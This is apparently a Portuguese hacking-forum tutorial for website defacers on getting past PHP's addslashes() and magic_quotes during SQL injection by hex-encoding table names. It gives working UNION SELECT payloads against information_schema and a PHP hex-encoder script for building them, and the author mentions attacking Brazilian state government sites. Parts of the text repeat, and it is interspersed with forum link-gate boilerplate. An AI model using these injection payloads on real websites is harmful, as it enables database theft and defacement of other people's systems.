Qual o defacer que nunca se deparou com um website vulnerável, mas com addslashes?
O que é addslashes()?
É uma função do PHP que escapa as aspas e barras invertidas de uma string, colocando antes delas uma barra invertida, fazendo-a ficar inválida.
Veja um exemplo:
Isto nem sempre impede, mas dificulta um ataque de SQLi. Por exemplo, quando você estiver obtendo os nomes das colunas, isto não funcionaria:
Então vamos ver do que se trata o método: iremos burlar o addslashes() ou o magic_quotes usando códigos hexadecimais.
Ou seja, transformaremos o nome do ítem que queremos em um hash hexadecimal. Veja, por exemplo, como pegaríamos os dados do exemplo acima facilmente, sem precisar das aspas:
Mas calma, ninguém precisa aprender a calcular hexadecimal à mão (o que realmente seria bom) ou usar a calculadora do Windows e enfrentar diversas dificuldades com ela. Vou deixar aqui um tool em PHP codado por mim que faz o trabalho sujo de "hexadecimar" uma string. Veja:
Pegue o código acima e salve com extensão php (qualquernome.php). Envie para o seu servidor (pode ser até mesmo no WampServer ou EasyPHP (ou Apache puro) no seu computador. Então, rode o script pelo navegador, usando:
Aparecerá uma caixinha escrita "Digite a string que será convertida:". No campo, você digitará a string (ou seja, a tabela que você quer, neste caso) e ele retorna a string já em hexadecimal. Simples, mas útil.
Serve também para você que está cansado do : (0x3a) e do <=> (0x3c3d3e) e quer criar seu próprio separador. Coloque o seu novo separador (exemplo: |) no campo e pronto.
Não tem um servidor? Sem problemas, Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Só não garanto que estará on-line todo o tempo, já que o T35 tem ido de pior a pior ainda nos últimos dias.
$ate++;
O que é addslashes()?
É uma função do PHP que escapa as aspas e barras invertidas de uma string, colocando antes delas uma barra invertida, fazendo-a ficar inválida.
Veja um exemplo:
Se você tem a query:
SELECT * FROM noticias WHERE id=addslashes($id)
E colocar uma aspa na URL, olhe o que aconteceria:
WHERE id=1\'23
Mais informações no Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar....SELECT * FROM noticias WHERE id=addslashes($id)
E colocar uma aspa na URL, olhe o que aconteceria:
WHERE id=1\'23
Isto nem sempre impede, mas dificulta um ataque de SQLi. Por exemplo, quando você estiver obtendo os nomes das colunas, isto não funcionaria:
?id=-123 UNION ALL SELECT column_name FROM information_schema.columns WHERE table_name=('admin') LIMIT 1,1
Sabe porque? Por causa das aspas usadas no table_name. Assim, você teria que ir buscando todas as colunas de todo o banco de dados e anotando os nomes das mesmas, assim:?id=-123 UNION ALL SELECT concat(column_name,0x3c3d3e,table_name,0x3c3d3e,ta ble_schema) FROM information_schema.columns LIMIT 1,1
Assim, você iria alterando o LIMIT de 1,1 para 2,1 3,1 4,1 734,1 1553,1 (isto porque começaria desde o information_schema). Realmente é muito cansativo, certo? Pode acreditar: antes de conhecer o método que mostrarei aqui, já enfrentei sites com mais de 4 mil colunas. Sim, era daqueles servidores que possuem vários websites na mesma conta e verificam o domínio requisitado para redirecionar o usuário. Exemplos disso são a maioria dos sites governamentais do Espírito Santo. Todos ficam num mesmo servidor e é comum ver sites com mais de um banco de dados (isto porque todos os sites são administrados através Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...).Então vamos ver do que se trata o método: iremos burlar o addslashes() ou o magic_quotes usando códigos hexadecimais.
Ou seja, transformaremos o nome do ítem que queremos em um hash hexadecimal. Veja, por exemplo, como pegaríamos os dados do exemplo acima facilmente, sem precisar das aspas:
?id=-123 UNION ALL SELECT column_name FROM information_schema.columns WHERE table_name=0x61646d696e LIMIT 1,1
Não precisamos de aspas, mas o ataque será bem-sucedido.Mas calma, ninguém precisa aprender a calcular hexadecimal à mão (o que realmente seria bom) ou usar a calculadora do Windows e enfrentar diversas dificuldades com ela. Vou deixar aqui um tool em PHP codado por mim que faz o trabalho sujo de "hexadecimar" uma string. Veja:
Código PHP:
<?php
/* PHP HexEncoder by 0KaL
www.0kal.t35.com */
error_reporting(0);
set_time_limit(0);
header('Content-type: text/html; charset=utf-8');
?>
<html>
<head>
<title>HEX Encoder by 0KaL</title>
</head>
<?php
if($_SERVER['QUERY_STRING']!=null) {
function hex($string){
$hex='';
for ($i=0; $i < strlen($string); $i++){
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
$hex = hex(urldecode($_SERVER['QUERY_STRING']));
print '<b>'.urldecode($_SERVER['QUERY_STRING'])."</b> = <b>0x".$hex.'</b>';
} else {
?>
<script type="text/javascript">
var string = prompt("Digite a string que será convertida:", "");
if(string!='') {
location.href='<?php echo basename(__FILE__); ?>?'+escape(string);
}
</script>
<?php
}
?>
</html>
Código:
http://localhost/qualquernome.php
Serve também para você que está cansado do : (0x3a) e do <=> (0x3c3d3e) e quer criar seu próprio separador. Coloque o seu novo separador (exemplo: |) no campo e pronto.
Não tem um servidor? Sem problemas, Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Só não garanto que estará on-line todo o tempo, já que o T35 tem ido de pior a pior ainda nos últimos dias.
$ate++;